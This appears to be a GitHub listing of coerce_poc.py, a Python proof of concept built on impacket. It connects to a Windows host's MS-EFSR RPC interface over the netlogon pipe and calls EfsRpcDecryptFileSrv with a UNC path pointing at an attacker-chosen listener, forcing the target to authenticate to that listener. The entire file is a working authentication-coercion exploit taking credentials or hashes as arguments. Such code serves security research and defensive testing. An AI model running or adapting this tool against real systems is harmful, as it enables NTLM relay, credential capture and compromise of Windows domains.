-
-
Notifications
You must be signed in to change notification settings - Fork 61
/
coerce_poc.py
180 lines (143 loc) · 6.82 KB
/
coerce_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : coerce_poc.py
# Author : Podalirius (@podalirius_)
# Date created : 22 Jun 2022
import random
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SessionError: unknown error code: 0x%x' % self.error_code
def gen_random_name(length=8):
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
name = ""
for k in range(length):
name += random.choice(alphabet)
return name
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR), # Type: wchar_t *
('OpenFlag', ULONG), # Type: unsigned
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = ()
class RPCProtocol(object):
"""
Documentation for class RPCProtocol
"""
uuid = None
version = None
pipe = None
ncan_target = None
__rpctransport = None
dce = None
def __init__(self):
super(RPCProtocol, self).__init__()
def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None):
self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe)
self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target)
if hasattr(self.__rpctransport, 'set_credentials'):
self.__rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash
)
if doKerberos == True:
self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp is not None:
self.__rpctransport.setRemoteHost(targetIp)
self.dce = self.__rpctransport.get_dce_rpc()
self.dce.set_auth_type(RPC_C_AUTHN_WINNT)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[>] Connecting to %s ... " % self.ncan_target, end="")
sys.stdout.flush()
try:
self.dce.connect()
except Exception as e:
print("\x1b[1;91mfail\x1b[0m")
print("[!] Something went wrong, check error status => %s" % str(e))
return False
else:
print("\x1b[1;92msuccess\x1b[0m")
print("[>] Binding to <uuid='%s', version='%s'> ... " % (self.uuid, self.version), end="")
sys.stdout.flush()
try:
self.dce.bind(uuidtup_to_bin((self.uuid, self.version)))
except Exception as e:
print("\x1b[1;91mfail\x1b[0m")
print("[!] Something went wrong, check error status => %s" % str(e))
return False
else:
print("\x1b[1;92msuccess\x1b[0m")
return True
class MS_EFSR(RPCProtocol):
uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
version = "1.0"
pipe = r"\PIPE\netlogon"
def EfsRpcDecryptFileSrv(self, listener):
if self.dce is not None:
print("[>] Calling EfsRpcDecryptFileSrv() ...")
try:
request = EfsRpcDecryptFileSrv()
request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
request['OpenFlag'] = 0
# request.dump()
resp = self.dce.request(request)
except Exception as e:
print(e)
else:
print("[!] Error: dce is None, you must call connect() first.")
if __name__ == '__main__':
print("Windows auth coerce using MS-EFSR::EfsRpcDecryptFileSrv()\n")
parser = argparse.ArgumentParser(add_help=True, description="Proof of concept for coercing authentication with MS-EFSR::EfsRpcDecryptFileSrv()")
parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")
parser.add_argument("listener", help="IP address or hostname of listener")
parser.add_argument("target", help="IP address or hostname of target")
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash, nthash = '', ''
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
protocol = MS_EFSR()
connected = protocol.connect(
username=options.username,
password=options.password,
domain=options.domain,
lmhash=lmhash,
nthash=nthash,
target=options.target,
doKerberos=options.kerberos,
dcHost=options.dc_ip,
targetIp=options.target_ip
)
if connected:
protocol.EfsRpcDecryptFileSrv(options.listener)
sys.exit()